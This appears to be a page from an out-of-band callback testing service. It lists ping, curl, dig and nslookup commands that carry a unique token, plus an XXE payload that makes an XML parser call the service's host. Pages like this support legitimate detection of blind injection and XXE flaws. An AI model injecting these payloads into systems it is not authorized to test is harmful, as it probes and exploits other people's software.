$ ping -c1 -p 0018380bf1bd41f741e965d78109e600 unhack.ca
 
$ curl http://unhack.ca/p/18380bf1bd41f741e965d78109e6
 
$ dig 18380bf1bd41f741e965d78109e6 @unhack.ca
 
$ dig 18380bf1bd41f741e965d78109e6.ns.unhack.ca
 
C:\> nslookup 18380bf1bd41f741e965d78109e6 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/18380bf1bd41f741e965d78109e6">]>
    <foo>&xxe;</foo>
Waiting for ping...